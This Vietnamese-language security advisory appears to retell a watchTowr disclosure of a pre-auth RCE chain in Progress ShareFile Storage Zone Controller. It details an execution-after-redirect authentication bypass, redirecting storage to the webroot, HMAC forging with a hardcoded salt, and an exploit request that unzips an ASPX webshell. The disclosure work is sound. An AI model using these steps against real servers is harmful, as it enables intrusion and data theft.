Nếu bạn nhìn kỹ vào danh sách CISA KEV (Known Exploited Vulnerabilities), bạn có thể sẽ thấy rằng các lỗ hổng trong các giải pháp chuyển tệp tin (file transfer solutions) chiếm một phần không nhỏ. Các nhóm mối đe dọa (threat actors), APT và ransomware đặc biệt yêu thích các sản phẩm này. Bài viết hôm nay sẽ đi sâu vào hành trình phát hiện và phân tích chuỗi lỗ hổng nghiêm trọng trên Progress ShareFile – cho phép kẻ tấn công đạt được Remote Code Execution (Thực thi mã từ xa) hoàn toàn chưa xác thực (Pre-Auth) trên hệ thống đã được vá lỗi mới nhất.
Progress ShareFile là gì?
ShareFile là một bộ phần mềm ban đầu thuộc sở hữu của Citrix, sau đó được Progress mua lại vào năm 2024.
Theo mô tả chính thức của ShareFile:
“ShareFile software gives you a structured, secure space to work with clients – share files, collect signatures, request data, and manage to-dos in one place, improving collaboration and the experience around it.”
Nói cách đơn giản, ShareFile cung cấp một không gian có cấu trúc và bảo mật để làm việc với khách hàng – chia sẻ tệp, thu thập chữ ký, yêu cầu dữ liệu và quản lý công việc.
Dù có vẻ như ShareFile là một dịch vụ SaaS thuần túy (thường nằm ngoài phạm vi nghiên cứu bảo mật on-premise), sản phẩm này còn duy trì một thành phần on-premise gọi là “Storage Zone Controller”.
Về Storage Zone Controller
Storage Zone Controller là một gateway do khách hàng tự quản lý, giữ tệp tin trong chính hạ tầng của họ (on-prem hoặc cloud) trong khi vẫn sử dụng giao diện SaaS của ShareFile. Nó xử lý:
- Chuyển tệp an toàn (secure file transfers)
- Xác thực (authentication)
- Thực thi chính sách (policy enforcement)
Điều này cho phép tổ chức kiểm soát nơi lưu trữ dữ liệu, trong khi ShareFile quản lý quyền truy cập và chia sẻ. Việc này đặc biệt quan trọng đối với các khách hàng có yêu cầu về chủ quyền dữ liệu (data sovereignty), yêu cầu quy định (regulatory requirements) hoặc chỉ đơn giản là vệ sinh bảo mật (security hygiene).
Một tìm kiếm nhanh trên Internet cho thấy khoảng ~30.000 instance Storage Zone Controller đang được expose ra Internet.

Tổng quan về các lỗ hổng được phát hiện
Trong bài viết này, watchTowr Labs sẽ trình bày các lỗ hổng được phát hiện trên Progress ShareFile cho phép đạt được Pre-Auth RCE trên phiên bản mới nhất tại thời điểm nghiên cứu. Cụ thể:
| CVE / ID | Loại lỗ hổng |
|---|---|
| CVE-2026-2699 / WT-2026-0006 | Authentication Bypass (Bỏ qua xác thực) |
| CVE-2026-2701 / WT-2026-0007 | Remote Code Execution (Thực thi mã từ xa) |
ShareFile Storage Zone Controller có hai nhánh chính:
- Branch 6.x – Xây dựng trên .NET Core
- Branch 5.x – Xây dựng trên ASP.NET
Cả hai lỗ hổng này đều nằm trong Branch 5.x, được phát hiện trên phiên bản StorageCenter_5.12.3 (phiên bản mới nhất tại thời điểm viết). Các lỗ hổng đã được khắc phục trong phiên bản 5.12.4, phát hành vào ngày 10 tháng 3 năm 2026.
Phân tích kiến trúc ShareFile Storage Zone Controller
Cài đặt và cấu hình
Quá trình cài đặt khá đơn giản: các tệp nằm trong thư mục IIS tại C:\inetpub\wwwroot\ShareFile và ứng dụng được đăng ký dưới “Default Web Site” của IIS.
Trước khi tiếp tục, các nhà nghiên cứu đã trích xuất và dịch ngược (decompile) tất cả các file .dll của ứng dụng thành mã C#.

Sau khi cài đặt, một trang cấu hình được khởi chạy từ localhost để xác thực instance ShareFile với người dùng SaaS kết nối. ShareFile có một dịch vụ cloud – “SaaS” – đây là giao diện và hạ tầng chính của Progress để quản lý tệp tin. Tài khoản có thể được tạo qua website mà không cần phê duyệt bán hàng.
Phương pháp tiếp cận phân tích
Trong tất cả các ứng dụng web, điều quan trọng là phải hiểu nơi kẻ tấn công có thể tương tác với mã ứng dụng từ góc độ bên ngoài, chưa xác thực.
Với các ứng dụng .NET như ShareFile, có nhiều cách tương tác:
- Các file có phần mở rộng ASHX, ASMX, ASPX – thực thi scripted code, cũng có thể tham chiếu đến mã được biên dịch trong các DLL
- Routes như REST endpoints được định nghĩa trong
web.config, được hỗ trợ bởi mã trong DLL
Phương pháp luận thông thường: xem xét các file script (ashx, aspx, asmx) trước, rồi mới đến các file DLL lớn chứa REST API. Trước khi đi sâu vào code, quan sát cách ứng dụng phản hồi khi mỗi script file/endpoint được yêu cầu (status code, content length, content type).
Lỗ hổng CVE-2026-2699 (WT-2026-0006) – Authentication Bypass
Khám phá ban đầu
Bước đầu tiên: liệt kê tất cả các file .aspx trong ứng dụng và gửi request để quan sát response. Danh sách endpoints:
/AdvancedStatus.aspx
/cifs/upload-streaming-2.aspx
/cifs/upload.aspx
/ConfigService/Admin.aspx
/ConfigService/Login.aspx
/ConfigService/Networking.aspx
/ConfigService/PreFlightCheck.aspx
/ConfigService/SMTPConfig.aspx
/ConfigService/UpdatePassphrase.aspx
/documentum/upload-streaming-2.aspx
/documentum/upload.aspx
/heartbeat.aspx
/ProxyService/rest/storagecenter.aspx
/rest/queue.aspx
/sp/upload-streaming-2.aspx
/sp/upload.aspx
/thumbnail.aspx
/upload-resumable-1.aspx
/upload-resumable-2.aspx
/upload-resumable-3.aspx
/upload-singlechunk.aspx
/upload-streaming-1.aspx
/upload-streaming-2.aspx
/upload-threaded-1.aspx
/upload-threaded-2.aspx
/upload-threaded-3.aspx
/upload.aspx
Mục tiêu: tìm những khác biệt, đặc biệt là các endpoints không redirect đến xác thực hoặc không trả về status code 401/403.
Phát hiện bất thường tại /ConfigService/Admin.aspx
Các endpoint cấu hình như /ConfigService/Login.aspx trả về HTTP 403 (Forbidden) vì chỉ truy cập được từ localhost (127.0.0.1).
Tuy nhiên, endpoint /ConfigService/Admin.aspx lại thể hiện một bất thường rất đáng chú ý. Xem response:
HTTP/1.1 302 Found
Cache-Control: private,no-store
Pragma: no-cache
Content-Type: text/html; charset=utf-8
Location: /ConfigService/Login.aspx?callerpage=Admin
Server: Microsoft-IIS/10.0
Access-Control-Allow-Origin: *
Access-Control-Max-Age: 540
Access-Control-Allow-Headers: Content-Type
Access-Control-Allow-Methods: GET, POST, PATCH, DELETE, OPTIONS, HEAD
Strict-Transport-Security: max-age=31536000
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
X-Frame-Options: DENY
Date: Mon, 23 Mar 2026 01:59:44 GMT
Content-Length: 22448
<html><head><title>Object moved</title></head><body>
<h2>Object moved to <a href="/ConfigService/Login.aspx?callerpage=Admin">here</a>.</h2>
</body></html>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head id="ctl00_Head1"><title>
ShareFile - Where Companies Connect
</title>
[... Truncated ...]
Bất thường ở đây là Content-Length rất lớn (22448) và nội dung body đầy đủ.
Khi truy cập qua browser, bạn sẽ bị redirect qua header Location đến Login.aspx (rồi bị 403 vì chỉ dành cho localhost). Tuy nhiên, response body vẫn chứa toàn bộ nội dung của trang Admin.
Đây chính là CWE-698: Execution After Redirect (EAR) – một lỗi từng phổ biến trong các ứng dụng PHP, nơi developer thực hiện redirect nhưng quên dừng thực thi phần còn lại của script.

Xác minh – Hiển thị trang Admin
Nếu bạn bỏ header Location trong HTTP response, trang admin sẽ render đầy đủ ngay trong browser – hoàn toàn không cần xác thực.

Phân tích nguyên nhân tại mức code
Xem source code của file Admin.aspx, có tham chiếu đến class ConfigService.Admin. Hàm Page_Load():
protected void Page_Load(object sender, EventArgs e)
{
this._logger.LogDebug("Page_Load Enter", Array.Empty<object>());
this.Master.ActionHeader = "Select ShareFile "
+ (Admin.isMultiTenant ? "Multi-Tenant " : string.Empty)
+ "StorageZone";
this.Master.HeaderTitle = "<span class=\"ico24 icoAdmin\"></span>"
+ (Admin.isMultiTenant ? "Multi-Tenant " : string.Empty)
+ "StorageZone Setup";
if (!this._sessionHelper.IsSessionAuthenticated(HttpContext.Current.Session)) // [0]
{
this._logger.LogDebug("Not authenticated", Array.Empty<object>());
string redirectPathWithCallerInfo = this._redirectionHelper
.GetRedirectPathWithCallerInfo(WebPage.Login, WebPage.Admin);
this._redirectionHelper.RedirectAndCompleteRequest(
new HttpContextWrapper(HttpContext.Current),
redirectPathWithCallerInfo); // [1]
return;
}
Tại [0]: kiểm tra xác thực. Nếu chưa xác thực → gọi RedirectAndCompleteRequest() tại [1].
Xem hàm RedirectAndCompleteRequest():
public void RedirectAndCompleteRequest(HttpContextBase httpContext, string redirectPath)
{
httpContext.Response.Redirect(redirectPath, false); // [2]
HttpApplication applicationInstance = httpContext.ApplicationInstance;
if (applicationInstance == null)
{
return;
}
applicationInstance.CompleteRequest();
}
Tại [2]: hàm Response.Redirect() được gọi với hai tham số – một String và một Boolean false.
Điểm mấu chốt – Tham số Boolean false
Theo tài liệu Microsoft:

Boolean thứ hai xác định liệu việc thực thi trang hiện tại có nên kết thúc hay không. Trong trường hợp này, ShareFile truyền false, có nghĩa là:
- Response trả về Status Code 302 redirect đến
/ConfigService/Login.aspx?callerpage=Admin→ Điều này là bình thường - Nhưng phần còn lại của mã trong class
ConfigService.Adminvẫn được thực thi, không bị chấm dứt → Đây là vấn đề nghiêm trọng
Kết quả: Toàn bộ chức năng admin tiếp tục chạy dù người dùng chưa được xác thực. Đây chính là lỗi Authentication Bypass.
Tận dụng Authentication Bypass – Truy cập trang Admin
Với lỗi bypass xác thực, trang /ConfigService/Admin.aspx hiển thị hai tùy chọn:
- Create new Zone – Tạo Zone mới
- Join existing Zone – Tham gia Zone hiện có
Zone configuration xác định cách tệp tin và dữ liệu của instance được lưu trữ. Đây là tính năng phân biệt chính của Zone Controller on-premise so với SaaS – cho phép doanh nghiệp lưu trữ tệp của họ trên hạ tầng của họ qua trường Storage Repository.
Các dạng Storage Repository được hỗ trợ:
- SharePoint
- AWS S3 Buckets, Azure Storage Containers
- SMB Servers
- Local File System

Nhóm nghiên cứu không thể vượt qua lỗi khi chọn “Create new Zone”, nên chuyển sang “Join existing Zone” – tùy chọn này sẽ có mặt trong hầu hết (nếu không phải tất cả) các Storage Zone Controller được expose trên Internet (vì đã được cấu hình).

Các trường cấu hình Zone
| Trường | Mục đích |
|---|---|
| Zone | Tên của Zone |
| Primary Zone Controller | URL của Primary Zone – có thể cấu hình một mảng các zone controller nhận cấu hình từ Primary Zone |
| Hostname | Hostname của cài đặt |
| External Address | URL hướng ra Internet mà ShareFile SaaS có thể kết nối đến instance để đồng bộ cấu hình, dữ liệu, v.v. |
| Storage Repository | Phương thức lưu trữ tệp cho tài khoản ShareFile |
| Passphrase | Mật khẩu dùng để mã hóa các tương tác API/REST của Zone Controller hiện tại |
Về Passphrase
Khi tạo Zone, cần cung cấp một Passphrase – giá trị này dùng để mã hóa tất cả tương tác API với Primary Zone Controller đó. Từ góc độ pre-auth, kẻ tấn công sẽ không biết giá trị này.
Tuy nhiên, khi chỉnh sửa các trường như Storage Repository hoặc External Address, giá trị Passphrase được server tự động điền – khiến yêu cầu biết passphrase trở nên vô nghĩa.

“You’re In The Danger Zone!” – Khai thác mở rộng
Rủi ro từ việc thay đổi Storage Repository
Với quyền kiểm soát cấu hình Zone, kẻ tấn công có thể:
- Thay đổi
Storage Repositorycủa nạn nhân trỏ đến AWS S3 Bucket do kẻ tấn công kiểm soát - Khi tệp được đồng bộ hoặc upload lên instance → tệp bị gửi đến repository do kẻ tấn công kiểm soát
- Kết quả: Exfiltrate (rút trộm) tệp tin nhạy cảm
Ép buộc nạn nhân tham gia Zone độc hại
Xa hơn nữa, nhóm nghiên cứu đã xem xét khả năng ép buộc Storage Zone Controller của nạn nhân tham gia một zone độc hại do kẻ tấn công kiểm soát. Bằng cách thay đổi trường Primary Zone Controller thành URL của kẻ tấn công, nạn nhân có thể bị coerce kết nối đến zone độc hại, mở rộng khả năng tấn công.
Tuy nhiên, giữa các Zone Controller giao tiếp qua API được mã hóa và ký (signed), dựa trên Passphrase. Toàn bộ rào cản này đã được vượt qua trực tiếp bằng Authentication Bypass ở trên.

Một điểm quan trọng: để thay đổi Passphrase qua frontend, cần cung cấp “Old Passphrase” mà kẻ tấn công không biết.
Nhưng may mắn cho kẻ tấn công: “Old Passphrase” không được validate khi thay đổi trường Primary Zone Controller. Do đó, kẻ tấn công có thể kết nối Storage Zone Controller của nạn nhân đến zone độc hại mà không cần xác thực.

Lưu ý: Chức năng này chỉ hoạt động nếu server-side đã được xác thực với ShareFile SaaS – điều này rất phổ biến vì đó là yêu cầu để Storage Zone Controller hoạt động đúng.
CVE-2026-2701 (WT-2026-0007) – Remote Code Execution
Bây giờ, với quyền bypass xác thực và khả năng thay đổi Passphrase, còn lại một bước cuối cùng để đạt RCE:

Ý tưởng khai thác
Khi đã trở thành “admin” của giải pháp lưu trữ tệp, cách khai thác logic như sau:
- Thay đổi đường dẫn upload đến vị trí trong webroot của ứng dụng
- Upload ASPX webshell
- Profit – thực thi lệnh tùy ý trên server
Kiểm soát đường dẫn Upload (Storage Repository)
ShareFile hỗ trợ nhiều loại lưu trữ tệp, nhưng nhóm nghiên cứu nhanh chóng nhận diện target: Local Network Share.

Trường Network Share Location cho phép định nghĩa đường dẫn SMB-based storage cho tệp. Người ta kỳ vọng rằng một đường dẫn UNC đến SMB share sẽ được cung cấp.
Kiểm tra validation của ShareFile
ShareFile có validate đường dẫn cung cấp, thông qua phương thức ShareFile.StorageCenter.ConfigService.BusinessLogic.Services.AdminService.ValidateStorageLocation:
private BaseActionResult ValidateStorageLocation(string filePath, string storageLocationType)
{
BaseActionResult baseActionResult = new BaseActionResult
{
IsSuccess = true,
Message = string.Empty
};
try
{
using (StreamWriter streamWriter = new StreamWriter(filePath, false))
{
streamWriter.Write("SCTest");
streamWriter.Flush();
}
}
catch (Exception ex)
{
this._logger.LogError(ex,
"An error occurred validating storage location: writing to " + filePath,
Array.Empty<object>());
baseActionResult.IsSuccess = false;
baseActionResult.Message = string.Concat(new string[] {
"Problem accessing ", storageLocationType,
" Location. Check if the ", storageLocationType,
" Location is correct and the user has write permission." });
return baseActionResult;
}
try
{
if (File.Exists(filePath))
{
File.Delete(filePath);
}
}
catch (Exception ex2)
{
this._logger.LogError(ex2,
"An error occurred validating storage location: deleting " + filePath,
Array.Empty<object>());
baseActionResult.IsSuccess = false;
baseActionResult.Message = string.Concat(new string[] {
"Problem accessing ", storageLocationType,
" Location. Check if the ", storageLocationType,
" Location is correct and the user has delete permission." });
return baseActionResult;
}
return baseActionResult;
}
Phương thức này:
- Tạo một tệp tạm thời tại đường dẫn đã cung cấp
- Kiểm tra xem tệp có tồn tại không
- Nếu có, xóa tệp
Nếu bất kỳ bước nào thất bại → cấu hình thất bại → báo lỗi.
Tuy nhiên: Đây là kiểm tra functionality, KHÔNG phải kiểm tra bảo mật.
Bạn có thể chỉ định bất kỳ đường dẫn nào, miễn ứng dụng có quyền ghi vào đó – cấu hình sẽ thành công. Không gì ngăn cản việc cung cấp đường dẫn như:
C:\inetpub\wwwroot\ShareFile\StorageCenter\documentum
– chính là thư mục webroot của một trong các ứng dụng ShareFile.


Upload Webshell – Bước cuối cùng
Vấn đề với các endpoint upload thông thường
Nhóm nghiên cứu tiếp tục xem xét các endpoint upload liên quan. Tuy nhiên, nhanh chóng phát hiện rằng chúng không phù hợp cho việc upload webshell vì:
- Tệp được đổi tên thành một “key” ngẫu nhiên (như GUID)
- Phần mở rộng tệp bị gỡ bỏ
Ví dụ, trong phương thức ProcessFileControl:
private static int ProcessFileControl(InputFile fileControl,
ShareFileUploadNotification sfun, string uploadId,
Hashtable files, Hashtable fileHashes, string basePath, string accountId)
{
if (!fileControl.HasFile) return 0;
if (fileControl.ContentLength == 0L)
return Upload.ProcessZeroByteFile(fileControl.FileName, sfun, uploadId, files);
string text = ShareFile.StorageCenter.BusinessLogic.Configuration.TempDir
+ "ul-" + uploadId + Path.DirectorySeparatorChar.ToString(); // [1]
if (!Directory.Exists(text)) Directory.CreateDirectory(text);
Upload._logger.LogDebug(string.Format(
"upload.aspx.cs: fileControl.FileName={0}, fileControl.ShareFileFileId={1}, "
+ "fileControl.ContentLength={2}, fileControl.FileHash={3}, fileControl.IsEncrypted={4}",
new object[] { fileControl.FileName, fileControl.ShareFileFileId,
fileControl.ContentLength, fileControl.FinalHash, fileControl.IsEncrypted }),
Array.Empty<object>());
string text2 = text + fileControl.ShareFileFileId; // [2]
string text3 = ShareFile.Libraries.StorageCenter.Utils.SanitizeFilename(fileControl.FileName);
if (OnPremise.IsEncrDisabled())
{
fileControl.MoveTo(text2, MoveToOptions.Overwrite);
fileHashes.Add(text2, fileControl.FinalHash);
}
// ...
}
Tại [1]: đường dẫn upload được chuẩn bị.
Tại [2]: tên tệp được append – nhưng ShareFileFileId là UUID được tự động tạo và không giữ phần mở rộng.
Kết quả trên filesystem: tệp upload không có phần mở rộng và tên ngẫu nhiên.


Điểm đột phá: Chức năng Unzip
Nhóm nghiên cứu đào sâu vào trang StorageCenter.Upload (endpoint /StorageCenter/Upload.aspx) và phát hiện một chi tiết quan trọng:
protected void Page_Load(object sender, EventArgs e)
{
string text = "";
string text2 = "";
long num = 0L;
if (this.Page.Request.HttpMethod == "OPTIONS")
{
base.Response.End();
}
try
{
NameValueCollection requestKeys = SCWebUtils.GetRequestKeys(HttpContext.Current, "filename");
text = requestKeys["uploadid"];
if (string.IsNullOrEmpty(text))
{
text = Guid.NewGuid().ToString("n");
}
UploadLogic.CheckForAvailableDiskSpace(
(requestKeys["filesize"] == null) ? (-1L) : long.Parse(requestKeys["filesize"]));
this.ValidateIsPost(text);
string text3;
string text4;
string text5;
string text6;
UploadLogic.GetBasePath(requestKeys, out text3, out text4, out text5, out text6);
this.ValidateParameters(text, text3, text4);
string onFinishUrl = this.GetOnFinishUrl(text, requestKeys);
ShareFileUploadNotification shareFileUploadNotification = new ShareFileUploadNotification();
Hashtable hashtable = new Hashtable();
Hashtable hashtable2 = new Hashtable();
Hashtable hashtable3 = new Hashtable();
int num2 = 0;
bool flag = false;
if (requestKeys["unzip"] != null
&& (requestKeys["unzip"] == "true" || requestKeys["unzip"] == "on")) // [1]
{
flag = true;
}
if (flag)
{
num2 += Upload.UnzipFiles(new InputFile[]
{
this.File1, this.File2, this.File3, this.File4, this.File5, this.File6,
this.File7, this.File8, this.File9, this.File10, this.Filedata
}, shareFileUploadNotification, text, hashtable, hashtable3, text3, text4); // [2]
}
// ...
}
}
Tại [1]: Cờ flag được thiết lập dựa trên tham số unzip trong request.
Tại [2]: Nếu unzip=true, gọi Upload.UnzipFiles.
Ý nghĩa
- Upload một tệp ZIP chứa ASPX webshell bên trong
- Đặt tham số
unzip=true→ nội dung ZIP sẽ được giải nén vào thư mụcNetwork Share Location(mà ta đã kiểm soát) - Sau khi giải nén, tệp KHÔNG bị đổi tên và GIỮ NGUYÊN phần mở rộng
.aspx
Ví dụ HTTP Request khai thác
POST /upload.aspx?id=803436333&uploadid=jtrazo53&bp=test&accountid=1&exp=1970804033&h=ARcXg5ZqhVKOrlvNmzXjDeOaJIPHkjXX3OrmVJnB090= HTTP/1.1
Host: sharefile.lab.local
User-Agent: python-requests/2.31.0
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Length: 1873
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="bp"
testz\\a
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="accountid"
1
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="bm"
2
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="bo"
3
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="uploadid"
123
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="rsu"
12345
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="NeatUpload_PostBackID"
12345
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="onfinishurl"
<http://sharefile.com/test>
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="unzip"
true
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="File1"; filename="test.zip"; UniqueID="File1"
Content-Type: text/plain
zip-file-with-webshell-here
Tính toán HMAC – Upload Secret
Trong request trên, tham số h là “upload secret” – một loại checksum. Nếu không tính đúng, request sẽ bị từ chối.
Quy trình hoàn chỉnh bao gồm 3 bước:
a) Leak TempData2:
Gửi request sau (lưu ý từ “Stroage” là typo có sẵn trong sản phẩm):
GET /ConfigService/api/StroageZoneConfig?&h=<hmac>
Cần ký HMAC-SHA256 chuỗi /configservice/api/stroagezoneconfig với Passphrase hiện tại của ShareFile. Vì đã thay đổi Passphrase qua authentication bypass, việc này rất dễ.
Response chứa TempData2:
{
"ZoneConfig":
{
"TempData2":"CbeqUAmHAbM7HuaDlAhgZ4N4dCC4u2zr/gOtQ6aySFgH7FU+21BiEZ5ZGw0WwMne",
"...":"..."
}
}
b) Decrypt Zone Secret:
TempData2 thực chất là Zone Secret được mã hóa base64 + AES. Có thể giải mã bằng:
- Salt hardcode:
p3510060xfZ2s9 - Passphrase: là encryption secret
Zone Secret đã decrypt sẽ dùng ở bước tiếp theo.
c) Tính HMAC cho upload:
Sử dụng Zone Secret đã decrypt, tính HMAC-SHA256 cho phần request sau:
/upload.aspx?id=<id>&uploadid=<uploadid>&bp=test&accountid=1&exp=<timestamp>
Kết quả được append vào URL qua tham số h.
Kết quả: Webshell được deploy
Tệp webshell sẽ được upload và giải nén đến đường dẫn:
<Network-Storage-Location>/files/ul-<query-string-uploadid>/1/
Trong ví dụ:
Network-Storage-Location:C:\inetpub\wwwroot\ShareFile\StorageCenter\documentumuploadid:jtrazo53

Chuỗi Pre-Auth RCE hoàn chỉnh
Đây là hình ảnh tổng hợp toàn bộ chuỗi tấn công:

Detection Artifact Generator (DAG)
watchTowr Labs cung cấp một công cụ Detection Artifact Generator (DAG) trên GitHub. Công cụ này:
- Thử truy cập endpoint
Admin.aspx - Kiểm tra xem response có:
- Chứa status code 302
- Có hơn 10.000 ký tự trong response body
Điều này đủ để xác nhận hệ thống bị ảnh hưởng bởi CVE-2026-2699.
Lưu ý: watchTowr không cung cấp DAG cho CVE-2026-2701 vì validation gây ảnh hưởng đến tính availability của hệ thống mục tiêu.
Tổng kết chuỗi tấn công
Chuỗi khai thác hoàn chỉnh được tóm tắt như sau:
- CVE-2026-2699 (Authentication Bypass): Kẻ tấn công gửi request đến
/ConfigService/Admin.aspx→ do lỗi EAR (Execution After Redirect) vớiResponse.Redirect(url, false), toàn bộ chức năng admin panel tiếp tục thực thi dù không xác thực - Thay đổi cấu hình Zone: Sử dụng admin panel đã bypass → thay đổi
Primary Zone ControllerhoặcStorage Repositorymà không cần biết Passphrase cũ - CVE-2026-2701 (RCE):
- Chỉnh
Storage Repositorytrỏ đến webroot của ứng dụng - Leak
TempData2qua API (ký HMAC với Passphrase mới) - Giải mã AES để lấy
Zone Secret(salt:p3510060xfZ2s9) - Upload ZIP chứa ASPX webshell với tham số
unzip=true - Webshell được giải nén vào webroot với tên và phần mở rộng
.aspxđược giữ nguyên
- Kết quả: Pre-Authenticated Remote Code Execution trên hệ thống
Timeline xử lý lỗ hổng
| Ngày | Chi tiết |
|---|---|
| 6 tháng 2, 2026 | watchTowr báo cáoAuthentication Bypass WT-2026-0006 cho Progress Security Team |
| 6 tháng 2, 2026 | watchTowr quét các attack surface của khách hàng để tìm hệ thống bị ảnh hưởng |
| 6 tháng 2, 2026 | Progress Security Team xác nhận đã nhận báo cáo WT-2026-0006 |
| 13 tháng 2, 2026 | watchTowr báo cáo Remote Code Execution WT-2026-0007 cho Progress Security Team |
| 14 tháng 2, 2026 | Progress Security Team xác nhận lỗ hổng WT-2026-0006 và bắt đầu phát triển bản vá |
| 14 tháng 2, 2026 | Progress xác nhận WT-2026-0006 là CWE-698 / EAR vulnerability, cần thêm thông tin để đánh giá mức độ nghiêm trọng |
| 16 tháng 2, 2026 | watchTowr cung cấp Python PoC chain Authentication Bypass (WT-2026-0006) và RCE (WT-2026-0007) để đạt Pre-Auth RCE |
| 18 tháng 2, 2026 | Progress Security Team xác nhận replicate thành công chuỗi lỗ hổng |
| 26 tháng 2, 2026 | Progress gán CVE-2026-2699 cho Authentication Bypass (WT-2026-0006), yêu cầu embargo đến 02/04/2026 |
| 26 tháng 2, 2026 | Progress gán CVE-2026-2701 cho RCE (WT-2026-0007), yêu cầu embargo đến 02/04/2026 |
| 10 tháng 3, 2026 | watchTowr quan sát phát hành Storage Zone Controller 5.12.4 và xác nhận vá được các lỗ hổng |
| 2 tháng 4, 2026 | ShareFile embargo kết thúc, watchTowr công bố nghiên cứu |
Khuyến nghị
Storage Zone Controller của ShareFile tồn tại chính xác cho các tổ chức không thể tin tưởng tệp tin của họ trên hạ tầng của người khác. Ba mươi nghìn instance đang hướng ra Internet.
Hãy vá ngay lập tức lên phiên bản 5.12.4 trở lên.






